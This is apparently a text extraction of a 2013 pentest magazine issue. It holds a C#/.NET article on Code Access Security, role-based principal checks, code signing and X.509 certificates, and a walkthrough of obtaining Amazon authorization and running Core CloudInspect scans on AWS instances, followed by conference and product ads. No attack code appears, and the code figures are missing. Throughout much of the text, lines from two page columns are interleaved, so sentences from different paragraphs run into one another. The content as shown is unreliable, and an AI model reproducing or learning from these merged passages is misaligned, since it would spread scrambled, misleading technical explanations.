its 10th place (if the string provided is greater the Grants permissions to each assembly that is
10 in length) where if were managed, it would do loaded, based on the permissions requested
bounds-checking before accessing an array unless it by the code and on the operations permitted
(CLR) can guarantee it is safe. by security policy.
Please note that even working with managed code Enables code to demand that its callers have
does guarantee that the code is always secure, even specific permissions.
though the CLR helps a programmer to avoid secu- Enables code to demand that its callers pos-
rity issues. As a general rule of thumb, we do not sess a digital signature, thus allowing only call-
fully trust information that is not in our control such ers from a particular organization or site to call
as user input and using an external module or API. the protected code.
The reason for this is that we cannot assure that Enforces restrictions on code at runtime by
the information comes from a reliable source, but comparing the granted permissions of every
the .NET provides us with ways to prevent unse- caller on the call stack to the permissions that
cure access and possible security breach. callers must have.

Code Access Security (CAS) Code Access Security Basics


Another security problem that we face is the lack of Applications that run under the CLR come across
ability to fully control the execution of a code. the CLR security, which grants them appropriate

TBO 03/2013 Page 124 http://pentestmag.com


set of permissions. Due to that, a programmer can In their basic level, they contain the name and
sometimes receive Security exceptions if a code the authentication type.
violates the permissions given, but thats just one The name can be a windows account name,
of the features offered by the CLR. while the authentication type can be a logon proto-
The local security settings on a particular com- col (such as Kerberos V5) or a custom value.
puter ultimately decide which permissions the The .NET Framework defines a specialized
code receives. WindowsIdentity object when using Windows Au-
This is an important issue that may cause some thentication (e.g. When using an Active Directory),
code to execute on one computer, but generate a or GenericIdentity for most custom logon scenar-
security exception on the other due to insufficient ios, we can even define our own.
permissions. It makes use of the Identity interface for All
In contrast to the unmanaged code, that doesnt Identity classes.
enforce security.
Its important, when working with CAS, to famil-
iarize with the following:

Writing type-safe code: To enable the code to Figure 2. Generic Identity example
benefit from code access security, we must
use a compiler that generates verifiably type- Principle (MSDN)
safe code. A principal represents the identity and role of a us-
Imperative and declarative syntax: Interaction er and acts on the users behalf. Role-based secu-
with the runtime security system is performed rity in the .NET Framework supports three kinds of
using imperative and declarative security calls. principals:
Declarative calls are performed using attributes;
imperative calls are performed using new in- Generic principals represent users and roles
stances of classes within your code. Some calls that exist independent of Windows NT and
can be performed only imperatively, while oth- Windows 2000 users and roles.
ers can be performed only declaratively. Some Windows principals represent Windows us-
calls can be performed in either manner. ers and their roles (or their Windows NT and
Requesting permissions for our code: Re- Windows 2000 groups). A Windows principal
quests are applied to the assembly scope, can impersonate another user, which means
where your code informs the runtime about the principal can access a resource on a us-
permissions that it either needs to run or spe- ers behalf while presenting the identity that be-
cifically does not want to. Security requests longs to that user.
are evaluated by the runtime when our code Custom principals can be defined by an appli-
is loaded into memory. Requests cannot influ- cation in any way that is needed for that partic-
ence the runtime to give our code more per- ular application. They can extend the basic no-
missions than the runtime would have giv- tion of the principals identity and roles.
en your code had the request not been made.
However, requests are what your code uses to Principal Objects
inform the runtime about the permissions it re- Principal Objects are used for representing the Se-
quires in order to run. curity Context under which the code is running, in-
Using secure class libraries: Our class libraries tegrating with the identity objects to decide who is
use code access security to specify the per- allowed to run what.
missions they require in order to be accessed. The .NET provides a GenericPrincipal object
We should be aware of the permissions re- and a WindowsPrincipal object.
quired to access any library that our code uses The IPrincipal interface defines access to its as-
and make appropriate requests in our code. sociated Identity object as well as a method to deter-
mine if the user that is identified as a role member.
Principle, Identity Objects and Evidence For instance, whether the user david is a mem-
Identity Objects ber of accounting role.
Identity Objects are used to encapsulate informa- A role that is able to use functionality for updat-
tion about the user or entity being validated. ing the DB.

TBO 03/2013 Page 125 http://pentestmag.com


BONUS
The IPrincipal interface defines a property for ac- All Principal classes implement the IPrincipal inter-
cessing an associated Identity object as well as a face as well as any additional properties and meth-
method for determining whether the user identified ods that are necessary. For example, the common
by the Principal object is a member of a given role. language runtime provides the WindowsPrincipal

Figure 3. Perform imperative security checks example

TBO 03/2013 Page 126 http://pentestmag.com


class, which implements additional functionality separation of duty, and compartmentalization and
for mapping Windows NT or Windows 2000 group the least privilege and to be used to force multi-
membership to roles. ple approvals for operations. It uses the Principal,
A Principal object is bound to a call context (Call- which is constructed from an associated identity
Context) object within an application domain (Ap- to manage and determine how can we access a
pDomain). A default call context is always created piece of code and how is it denied of any access.
with each new AppDomain, so there is always a
call context available to accept the Principal ob- Role-Based Security Checks
ject. When a new thread is created, a CallContext Once you have defined identity and principal ob-
object is also created for the thread. The Principal jects, you can perform security checks against
object reference is automatically copied from the them in one of the following ways.
creating thread to the new threads CallContext. If
the runtime cannot determine which Principal ob- Using Imperative Security Checks
ject belongs to the creator of the thread, it follows For an imperative demand, we can call the Demand
the default policy for Principal and Identity object method (of the PrincipalPermission object) to de-
creation. termine whether the current principal object repre-
A configurable application domain-specific policy sents the specified identity, role, or both. Assuming
defines the rules for deciding what type of Principal a properly constructed PrincipalPermission ob-
object to associate with a new application domain. ject called MyPrincipalPermission, an imperative
Where security policy permits, the runtime can cre- demand can be called with the following code.
ate Principal and Identity objects that reflect the
operating system token associated with the cur- MyPrincipalPermission.Demand();
rent thread of execution. By default, the runtime
uses Principal and Identity objects that represent Figure 3 shows an example (taken from MSDN).
unauthenticated users. The runtime does not cre-
ate these default Principal and Identity objects until Using Declarative Security Checks
the code attempts to access them. Declarative demands for PrincipalPermission
Trusted code that creates an application domain work the same way as declarative demands for
can set the application domain policy that controls code access permissions.
construction of the default Principal and Identity Demands can be placed at the class level as well
objects. This application domain-specific policy as on individual methods, properties, or events.
applies to all execution threads in that application If a declarative demand is placed at both the
domain. An unmanaged, trusted host inherently class and member level, the declarative demand
has the ability to set this policy, but managed code on the member overrides (or replaces) the de-
that sets this policy must have the System.Secu- mand at the class level.
rity.Permissions.SecurityPermission for controlling The following code example shows a modified
domain policy. version of the PrivateInfo method from the previ-
When transmitting a Principal object across ap- ous sections example.
plication domains but within the same process This version uses declarative security.
(and therefore on the same computer), the remot- The PrincipalPermissionAttribute defines the
ing infrastructure copies a reference to the Princi- principal that the current thread must have to in-
pal object associated with the callers context to voke the method.
the callees context. (MSDN) We simply pass SecurityAction.Demand with the
name and role that we require (Figure 4).
Writing Secure Class Libraries
Security vulnerabilities are a common when not
fully understanding the correct way of using the
.NET CLR security. So for designing classes, we
need to know how to securely design our classes. Figure 4. Performing declarative security checks example

Role-Based Security Directly Accessing the Principal Object


Role-Based Security in C# is an implementation Although using imperative and declarative demands
of the Role-Based security principle that sets the to invoke role-based security checks is the primary

TBO 03/2013 Page 127 http://pentestmag.com


BONUS
mechanism for checking and enforcing identity and Cert2spc.exe
role membership, there might be cases where you (Software Publisher Certificate Test Tool(
want to access the Principal object and its asso- Creates a Software Publishers Certificate (SPC)
ciated Identity object directly to do authorization from one or more X.509 certificates. This tool is for
tasks without creating permission objects. testing purposes only.
For example, we might not want to use declar-
ative or imperative demands if we do not want a Certmgr.exe (Certificate Manager Tool(
thrown exception to be the default behavior for val- Manages certificates, certificate trust lists (CTLs),
idation failure. and certificate revocation lists (CRLs).
In such cases, we can use the stat-
ic CurrentPrincipal property on the System. Makecert.exe (Certificate Creation Tool(
Threading.Thread class to access the Principal ob- Generates X.509 certificates for testing purposes only.
ject and call its methods.
After obtaining the principal object, we can use Peverify.exe (PEVerify Tool(
conditional statements to control access to our code Helps us to verify whether our Microsoft intermedi-
based on the principal name as shown in Figure 5. ate language (MSIL) code and associated meta-
data meet type safety requirements.

SecAnnotate.exe (.NET Security Annotator Tool(


Identifies the SecurityCritical and SecuritySafe-
Critical portions of an assembly.
Figure 5. Directly accessing a Principal object example
Security Tools (.NET Framework) SignTool.exe (Sign Tool(
The command-line tools in this section help you Digitally signs files, verifies signatures in files, and
perform security-related tasks, such as configuring time-stamps files.
security policy, managing certificates, and digitally
signing files. They enable you to test your compo- Sn.exe (Strong Name Tool(
nents and applications before you deploy them. Helps to create assemblies with strong names.
These tools are automatically installed with Vi- This tool provides options for key management,
sual Studio and with the Windows SDK. The best signature generation, and signature verification.
way to run these tools is by using the Visual Studio
or Windows SDK Command Prompt. Working with Digital Certificates and
Code Signing
Caspol.exe (Code Access Security Policy Tool( Imagine the following common scenario:
Enables us to view and configure security policy for We are using C# to copy files from one computer
the machine policy level, the user policy level, and to another, in order to execute them locally.
the enterprise policy level. In the .NET Framework A malicious user is trying to interfere and uses a
4 and later, this tool does not affect code access se- Man in the Middle attack to intercept the packets
curity (CAS) policy unless the <legacyCasPolicy> sent from the source to its destination, and change
element is set to true. the content, and replace it with a malicious software

Figure 6. Code Signing

TBO 03/2013 Page 128 http://pentestmag.com


that he wants us to use (could be a Trojan, a Vi- ta. A certificate contains information that fully iden-
rus, etc.). So one solution could be to transfer files tifies an entity, and is issued by a certificate author-
using SSL only. Although it provides the necessary ity (CA) after that authority has verified the entitys
protection against the Man in the Middle attack, we identity. When the sender of a message signs the
might not want to use TCP for this kind of transfer message with its private key, the message recipi-
and might want to use UDP (because its basically ent can use the senders public key to verify the
one the reasons why we have the UDP protocol). senders identity (Figure 7).
So we need to think of another way to transfer with-
out an overhead, but still retain security.
Another approach could be, to provide means to
make sure that the file we copied to the destination
was not tempered with, and only then run it.

Code Signing
Code signing is the method of using a certifi-
cate-based digital signature to digitally sign exe-
cutables, DLLs, and scripts in order to verify the
Figure 7. Signingtool.exe Example
sources identity to ensure that the code has not
been changed or corrupted since it was signed by Digital Certificates
the source.
This helps us and our applications to determine
whether the software can be trusted for execution
(Figure 6).

Purpose of Code Signing


Because of the potential damage that can be
caused by an executable or script, it is important
that users be able to trust the code published on
the Internet or delivered in a non-secure way (such
as SSL).
If we know that an application is signed by a
known author, instead of suspicionsuser, well be
much more likely to install or run it.
There are two important ways that Code Signing
increases trust:

Authentication. Verifying who the author of the


software is.
Integrity. Verifying that the software hasnt
been tampered with since it was signed.

What is a Code Signing Certificate?


A code signing certificate allows us, to sign our
code using a private and public key system similar
to the method used by SSL and SSH. Figure 8. Digital Certificate
A public/private key pair is generated when the In cryptography, a public key certificate (also
certificate is requested. The private key stays on known as a digital certificate or identity certificate)
the applicants machine and is never sent to the is an electronic document that uses a digital signa-
certificate provider. The public key is submitted to ture to bind a public key with an identity informa-
the provider with the certificate request and the tion such as the name of a person or an organiza-
provider issues a certificate. The code signing cer- tion, their address, and so forth (Figure 8).
tificate acts as a digital signature. When you sign The certificate can be used to verify that a public
data, you include your digital signature with the da- key belongs to an individual.

TBO 03/2013 Page 129 http://pentestmag.com


BONUS
In a typical public key infrastructure (PKI) Thumbprint Algorithm: The algorithm used to
scheme, the signature will be of a certificate au- hash the public key certificate.
thority (CA). Thumbprint (also known as fingerprint): The
In a web of trust scheme, the signature is of ei- hash itself, used as an abbreviated form of the
ther the user (a self-signed certificate) or other us- public key certificate.
ers (endorsements).
In either case, the signatures on a certificate are .NET Support for Certificates )Taken Code
attestations by the certificate signer that the iden- Guru)
tity information and the public key belong together. Namespace System.Security.Cryptography.X509
For provable security this reliance on something Certificates contains the implementation of the
external to the system has the consequence that X.509 v3 certificate. X.509 which is the standard for
any public key certification scheme has to rely on a public key infrastructure (PKI) for single sign-on and
some special setup assumption, such as the exis- Privilege Management Infrastructure. The various
tence of a certificate authority. classes from this namespace allow operations such
as creating stores, importing, exporting, deleting, enu-
Contents of a Typical Digital Certificate merating, and retrieving information on certificates.
The most important classes are:
Serial Number: Used to uniquely identify the X509Store: represents a X.509 store, which is
certificate. a physical catalog where certificates are per-
Subject: The person or entity identified. sisted and managed. There are several built in
Signature Algorithm: The algorithm used to stores grouped in two locations: local machine
create the signature. (contains certificates shared by all the users)
Signature: The actual signature to verify that it and current user (contains certificates specific
came from the issuer. to the currently logged user).
Issuer: The entity that verified the information X509Certificate and X509Certificate2: repre-
and issued the certificate. sent a X.509 certificate.
Valid-From: The date the certificate is first valid X509Certificate2Collection: represents a col-
from. lection of X509Certificate2 objects.
Valid-To: The expiration date.
Key-Usage: Purpose of the public key (e.g. en- Code Example: X509Certificate2
cipherment, signature, certificate signing). The following example demonstrates how to use
Public Key: The public key. an X509Certificate2 object to encrypt and decrypt
a file. It consists of 3 main functions:

Figure 9. Digital Certificate GetCertificateFromStore

TBO 03/2013 Page 130 http://pentestmag.com


GetCertificateFromStore EncryptFile
Retrieves a certificate from the certificate store of Encrypts a file with the certificate (Figure 10).
the current user (Figure 9).

Figure 10. Digital Certificate EncryptFile

TBO 03/2013 Page 131 http://pentestmag.com


BONUS

Figure 11. Digital Certificate DecryptFile

TBO 03/2013 Page 132 http://pentestmag.com


DecryptFile
Decrypts the file that was encrypted with
the certificate (Figure 11).

Conclusion
As you can see, C# and the .NET frame-
work provide lots of easy-to-use, easy-to-
understand and easy-to-manage sets of
classes, tools, and functions.
However, there are still a lot more to
.NET than these examples and a lot more
to learn and use when building security-
aware applications and softwares.
I believe that MSDN and other websites
are a great source of information, but it
is important to first understand how stuff
works, what is its purpose, and how to in-
tegrate it, than just copy and paste into
our code.
Dont forget, after all this, we still need
to make sure that the code can actually
run, and not overload it with overheads.
I hope that its been informative for you,
and Id like to thank you for reading!

Gilad Ofir
Has years of experience as a System Adminis-
trator and Integrator, he have been working
mostly with Windows OS and Linux OS, work-
ing with many AD environments, integrated
with other Microsoft-related products. Com-
puter Programmer, best at C# language. He
is Informa-tion Security Consultant at Defen-
sia Company now, advising customers in In-
formation Security related issued, pentesting,
vulnerability assessment, code review and
many more.

TBO 03/2013
BONUS

Pentest Amazon Cloud


Instances Like a Pro
If you are like most seasoned penetration testers, you have noticed
that most companies are moving everything to the cloud. Yes,
it saves executives the funds by taking advantage of scale and
efficiencies, but how does it affect you? This may surprise you but
you can continue pentesting in this new cloud based world by
following a few simple guidelines.

I
know what you are saying to yourself. This is The Form
my Amazon server instance, I can scan it if I Amazons electronic form will require you to fill in the
want! Yes, even if you are a 3rd party tester, exact instance(s) you would like to test, Source and
you do have the right to scan a customer Amazon Destination IP Address(s), along with the date range
server instance if you go about it the right way. you would like to perform your scan on. You will also
The right way does not permit testing of m1.small need your AWS Account Number which automatical-
or t1.micro instance types due to potential ad- ly pre-populates on the form when you logon to your
verse performance impacts of customers you may AWS account. To submit the form you also have to
be sharing resources with. For all other instance agree to the Terms and Conditions of this penetra-
types, Amazon requires its customers to obtain tion test. Conditions, who cares? I never read them
permission to conduct penetration tests. Dont be and always click accept. In this case, Im strongly
scared. This is a very simple process and I will advising you to read the Terms and Conditions spe-
walk you through it. cifically regarding the appropriate tools for the test.
Amazon strictly forbids utilizing your pentest tools
Handling the Paperwork to perform a (DoS) Denial-of-Service attack even to
Amazon requires you to fill out the AWS Vulner- your own instances. They specifically mention pro-
ability / Penetration Testing Request Form to be- hibiting Protocol flooding (SYN flooding, IMCP flood-
gin the penetration testing approval process. They ing, UDP flooding) and resource request flooding
recommend that the customer themselves should (HTTP request flooding, Login request flooding, API
fill this form and then let their 3rd party know of request flooding). Amazon will hold you responsible
the approval status. As most of us know, the cus- for any damages to AWS or any AWS customers im-
tomer hired you for a reason and they want to do pacted by your penetration activities so please be
as little as possible. That being said, I recommend careful! Amazon is huge and they have more law-
setting up a remote screen sharing session and yers then you. After submitting the Amazon Penetra-
walking your customer through this process. They tion Testing Request form, you or your customer will
will need to be logged into the Amazon AWS Portal receive a response from Amazon from an actual hu-
using the credentials associated with the instances man being within one business day at least letting
you wish to test. you know they received your request.

TBO 03/2013 Page 134 http://pentestmag.com


Figure 1. Insert Picture

Amazon will then review the form very slowly. I


say that because it takes around a full week for
them to reply to my request. Please note if you
are a 3rd party vendor to include this wait time in
your customer proposal. You cant control it so you
should make your customer aware. Amazon will
reply with whether you have been authorized or
not and your official authorization number. To date,
I have never been denied a penetration test so as
long as you fill out the form and submit it properly
you will have nothing to worry about.

Need More Time?


What if my company or customer decides last min-
ute that I have to delay my test of the server due to

TBO 03/2013
BONUS
some lame business impact reason that suddenly {
popped up? Yes, that does happen all the time. You Statement: [
go through days of planning and all of a sudden the {
business tells you to delay your project. If this hap- Action: ec2:DescribeInstances,
pens to you dont worry. All you have to do is reply Effect: Allow,
to the Amazon authorization e-mail and ask to ex- Resource: *
tend your testing period to the new date. Remem- }
ber, you cant perform the test outside of your date ]
range without first asking for this extension. }

Your First Scan


If you are a beginner pentester, or just super
busy, you can give Core CloudInspect a try. Core
CloudInspect is a pentesting tool that is just as
good for finding vulnerabilities as other main-
stream products but without the hassle of having
to load and manage the product on your own sys-
tem. Yes, I said it, a cloud service.
The first 3 scans you do with this product are ab-
solutely free. After that, each scan only costs $20.
I know that everyone reading this who has custom-
ers charge them much more than that so your re-
turn on investment will be unbelievable.

Getting Started with Core CloudInspect Figure 2. AccessPolicy


Navigate to www.corecloudinspect.com and click Click Continue
the big green Test your cloud button. You will be Create a new user in this group by clicking on
asked to register and accept the terms and condi- the Users tab, then click Create New Users.
tions. Please use your information and not that of Enter a user name you want Core CloudIn-
your customers. Also, I shouldnt have to say this spect or another service to use, for example,
again, please read the terms and conditions before ABC-PenTester.
you accept. Make sure Generate an access key for each
User is checked then click the Create button.
Granting Core Access to Your Cloud Click on Show user Credentials to view the
Instance credentials.
Core requires you or your customers AWS Access
Key ID and Secret Access Key. This will allow Core
AWS pentesting service to look at your Amazon
AWS Infrastructure. Dont worry you only need to
grant read-only permissions to them. To grant per-
mission via access keys to Core or any other ser-
vice, for that matter please logon to your Amazon
IAM console and perform the following:

Click the Create a New User Group button.


Select a name for this group (for example, ABC Figure 3. Keys
PenTesting Company) and click Continue.
Set Permissions for this newly created group Click the Download Credentials button to
by selecting Custom Policy from the menu. save the credentials. Do not lose the creden-
Give your policy a name and then paste the fol- tials or you will have to recreate new ones.
lowing policy which grants your new group ac-
cess to your Amazon AWS instance info such Paste your newly created credentials into the
as instance-id, IP address, and image-id: Core Cloud Inspect and click the Submit button.

TBO 03/2013 Page 136 http://pentestmag.com


You will now be asked to select the instance(s) The reports Core provides are as follows:
you wish to test. You will notice that you can on- WebApps Executive Report summarizes the
ly check instances that are not micro and small. information of every vulnerable web page found
If you recall from above, Amazon doesnt allow during this penetration test.
scanning these small instances due to possible re- Hosts Report provides detailed information
source constraints, etc. about all the different hosts that were tested as
Check the instance you would like to test and part of this penetration test.
click the Next button. Vulnerabilities Report provides detailed infor-
mation about all the vulnerabilities that were suc-
cessfully exploited during this test.
WebApps Vulnerabilities Report provides de-
tailed information of every vulnerability that was
found and successfully exploited during this test.
Activity Report provides summarized informa-
tion about all the different hosts and vulnerabili-
ties that were identified, targeted, and exploited by
CORE CloudInspect during this penetration test.
Select your reports then click the Next button.

Confirm the Test Already


Core now gives you one last chance to back out
and make any changes on this test. Look over all
your test info to make sure everything is correct.
Figure 4. InstanceSelect Click the Pay with Amazon button to start the
penetration test. The total should be $0 USD if this
You will now be asked to type in the URL(s) of the is your first time doing this. Dont worry, it will not
websites you would like to test. You can use your actually charge you anything.
friendly named website or directly point to your
Amazon given DNS name. That normally ends in
amazonaws.com. Put each URL on a separate line
if you have more than one. Click the Next button.

Figure 5. URLInput

Core Reporting Selection Figure 6. ConfirmTest


The Core Cloud Inspect Report Selection screen
now asks you which reports you would prefer. Your penetration test has started. You will see a
Whether you check one of them or all of them, its screen containing your test and the status which
still free the first 3 times you use this service and will be running. You will also see which step the
doesnt cost you any extra on subsequent uses of test is on during this process. Go grab some coffee
this service. If its free, its for me! since this will take a few hours to complete.

TBO 03/2013 Page 137 http://pentestmag.com


BONUS

Figure 7. TestStatus

When your test is complete, you will see Done


in the status field and also see your reports ready
for download.
Figure 9. Exploit

Keep on Scanning
Every good pentester knows that its always a good
idea to use multiple tools to perform your tests to
increase your results.

Cloud Scanning Tools


Your normal suite of pentesting tools will also work
on this Amazon cloud instance. Grant your tools
proper access through your firewall and Amazon Ac-
cess Keys and start scanning as usual. BackTrack
5 R3 will work the same way it normally does on
Figure 8. TestComplete your cloud instance. I have also successfully used
Rapid 7 Nexpose with the Metasploit framework.
The reports are in .PDF format and ready for you Just remember the above process and you can
to click to download. continue to pentest the cloud just like any on prem-
ise infrastructure. Dont forget to get Amazons per-
Core Report Results mission as well as any other cloud provider before
You should now open whatever report you had cre- performing the test.
ated. In this example, I am heading straight to the
Vulnerability Report. This report shows that this Conclusion
instance has a few high level vulnerabilities. For Whether you are a seasoned veteran pentester
example, it has a NETBIOS/SMB share password or a beginner, the cloud is here to stay. There is
as the default, null, or missing. This is classified still a permanent place for pentesters as long as
by CVSS as 7.50 (HIGH). The test shows you the you adapt to this constant evolving cloud based
Exploitability and Impact Metrics of this vulnerabil- technology. Dont be afraid of the cloud, harness it.
ity. In this case, it shows that the Access Vector Stay ahead of your competition by practicing cloud
is Network Exploitable. It also shows what Exploit penetration tests now and adding these specific
was used to find this information. It shows that OS tests to your current product offerings. If a custom-
Detect by DCE-RPC Endpoint Mapper was the er doesnt see specifically that you do this, they
Exploit. Links are also included for additional in- may assume that you dont.
formation.
You should now continue going through these re-
ports making notes for your company or custom-
er. Core has options if you would like to Brand
these reports so you can deliver them directly to
your customer. Anthony Siravo

TBO 03/2013 Page 138 http://pentestmag.com


Join th e ion!
s Revolut
W ea rab le

A conference for Designers, Builders and


Developers of Wearable Computing Devices

Wearable computing devices are the Next Big Wave


in technology. And the winning developers in the next decade are
going to be the ones who take advantage of these new technologies
EARLY and build the next generation
of red-hot apps.

Choose from over 35 classes and tutorials!


l Learn how to develop apps for the coolest gadgets like Google
Glass, FitBit, Pebble, the SmartWatch 2, Jawbone, and the Galaxy
Gear SmartWatch

l Get practical answers to real problems, learn tangible


steps to real-world implementation of the next generation
of computing devices

March 5-7, 2014


San Francisco
WearablesDevCon.com

A BZ Media Event
U P D AT E
NOW WITH
STIG
AUDITING

IN SOME CASES

nipper studio
HAS VIRTUALLY

REMOVED
the
NEED FOR a
MANUAL AUDIT
CISCO SYSTEMS INC.
Titanias award winning Nipper Studio configuration
auditing tool is helping security consultants and end-
user organizations worldwide improve their network
security. Its reports are more detailed than those typically
produced by scanners, enabling you to maintain a higher
level of vulnerability analysis in the intervals between
penetration tests.

Now used in over 45 countries, Nipper Studio provides a


thorough, fast & cost effective way to securely audit over
100 different types of network device. The NSA, FBI, DoD
& U.S. Treasury already use it, so why not try it for free at
www.titania.com

www.titania.com

You might also like